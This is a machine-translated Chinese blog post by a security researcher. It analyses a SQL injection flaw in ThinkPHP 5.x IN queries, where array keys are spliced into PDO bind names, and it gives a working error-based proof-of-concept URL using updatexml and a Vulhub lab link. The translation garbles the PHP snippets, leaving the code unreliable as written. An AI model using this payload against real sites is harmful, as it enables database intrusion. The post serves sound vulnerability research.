刚才先知共享了一个漏洞(Thinkphp5.X设计缺陷导致泄露的数据库帐户密码)。文章称这是一个信息泄露漏洞,但经过我的分析,除了泄露信息外,这里实际上还有一个(鸡肋)SQL注入漏洞。它似乎是一个不允许子查询的SQL注入点。 漏洞上下文如下: < PHP 命名空间app \ index \ controller; 使用app \ index \ model \ User; 类索引 { 公共职能指数() { $ ids=输入('ids/a'); $ t=new User(); $ result=$ t-> where('id','in',$ ids) - > select(); } } 如上面的代码,如果我们控制in语句的值位置,我们可以通过传入一个数组来引起SQL注入漏洞。 我在文中没有多说,但让我们来谈谈为什么这是一个SQL注入漏洞。 IN操作代码如下: < PHP . $ bindName=$ bindName?'where_'。 str_replace(['。',' - '],'_',$ field); if(preg_match('/\ W /',$ bindName)){ //处理带有非单词字符的字段名称 $ bindName=md5($ bindName); } . } elseif(in_array($ exp,['NOT IN','IN'])){ //IN查询 if($ value instanceof \ Closure){ $ whereStr。=$ key。 ''。 $ exp。 ''。 $这 - > parseClosure($值); } else { $ value=is_array($ value)? $ value: explode(',',$ value); if(array_key_exists($ field,$ binds)){ $ bind=[]; $ array=[]; Foreach($ value为$ k=> $ v){ 如果($ this-> query-> isBind($ bindName。'_ in_'。$ k)){ $ bindKey=$ bindName。 '_in_'。 uniqid()。 '_'。 $ K表; } else { $ bindKey=$ bindName。 '_in_'。 $ K表; } $ bind [$ bindKey]=[$ v,$ bindType]; $ array []=':'。 $ bindKey; } $这 - >查询 - >绑定($绑定); $ zone=implode(',',$ array); } else { $ zone=implode(',',$ this-> parseValue($ value,$ field)); } $ whereStr。=$ key。 ''。 $ exp。 '('。(空($ zone)?''''': $ zone)。')'; } 可以看出$ bindName之前已经过测试,通常没有漏洞。但是如果$ value是一个数组,它将遍历$ value并将$ k拼接到$ bindName中。 也就是说,我们控制预编译SQL语句中的键名,这意味着我们控制预编译的SQL语句,这在理论上是一个SQL注入漏洞。那么,为什么原始测试测试SQL注入失败? 这是涉及预编译的实现过程。通常,PDO预编译执行过程分为三个步骤: 准备($ SQL)编译SQL语句 bindValue($ param,$ value)将值绑定到param的位置 执行()执行 此漏洞实际上控制了第二步的$ param变量。如果变量是SQL语句,则第二步将抛出错误:
因此,这个错误“似乎”导致整个过程执行的次数少于第三步,并且无法注入它。 但实际上,在预编译中,可以使用第一步。我们可以做一个实验。 编写以下代码: < PHP $ params=[ PDO: ATTR_ERRMODE=> PDO: ERRMODE_EXCEPTION, PDO: ATTR_EMULATE_PREPARES=> false, ]。 $ db=new PDO('mysql: dbname=cat; host=127.0.0.1;','root','root',$ params); 试试{ $ link=$ db-> prepare('SELECT * FROM table2 WHERE id in(: where_id,updatexml(0,concat(0xa,user()),0))'); } catch(\ PDOException $ e){ 后续代码var_dump($ E); } 执行发现,虽然我只调用了prepare函数,但原始SQL语句中的错误已成功执行:
原因是因为我设置了PDO: ATTR_EMULATE_PREPARES=> false。 此选项涉及PDO的“预处理”机制:PDO具有“模拟预处理机制”,因为并非所有数据库驱动程序都支持SQL预编译。如果启用了模拟预处理,则PDO会在内部模拟参数绑定过程。 SQL语句在最后一次execute()时被发送到数据库执行;如果我将PDO设置为: ATTR_EMULATE_PREPARES=> false,则PDO不会模拟预处理,并且参数化绑定的整个过程都是使用Mysql完成的。 在非模拟预处理的情况下,参数化绑定过程分为两个步骤:第一步是准备阶段,它将带有占位符的sql语句发送到mysql服务器(解析 - >解析),第二步是多次。将占位符参数发送到mysql服务器以供执行(多次执行优化 - >执行)。 这时,假设在第一步执行prepare($ SQL)时我的SQL语句错误,那么我将直接从mysql抛出异常,不会执行第二步。我们来看看ThinkPHP5的默认配置: . //PDO连接参数 受保护的$ params=[ PDO: ATTR_CASE=> PDO: CASE_NATURAL, PDO: ATTR_ERRMODE=> PDO: ERRMODE_EXCEPTION, PDO: ATTR_ORACLE_NULLS=> PDO: NULL_NATURAL, PDO: ATTR_STRINGIFY_FETCHES=> false, PDO: ATTR_EMULATE_PREPARES=> false, ]。 . 可以看出,此处设置了PDO: ATTR_EMULATE_PREPARES=> false。 所以,在一天结束时,我构造了以下POC,我可以使用错误注入来获取user()信息: http://localhost/thinkphp5/public/index.php?ids [0,updatexml(0,concat(0xa,user()),0)]=1231
但是,如果将user()更改为子查询,则结果将是无效参数编号:参数未定义错误。 因为没有太多的研究,让我猜一下:预编译确实是由mysql服务器执行的,但是预编译过程不会触及数据,也就是说,实际数据不会从表中取出,因此使用子查询。如果出现错误,则不会触发错误; 虽然预编译的进程不会触及数据,但是像user()这样的数据库函数的值仍然会被编译到SQL语句中,因此这里的执行会被爆炸。 总的来说,这个洞并不是特别容易使用。 我期待有人学习,推翻我的猜测,并使这个漏洞真的很容易使用。 与触发SQL错误的位置类似,我也看到了另一个地方,我暂时不会说出来。 我创建了Vulhub环境,你可以自己测试一下:https://github.com/phith0n/vulhub/tree/master/thinkphp/in-sqlinjection 文章来自:https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html 由phithon在安全脉冲帐户中发布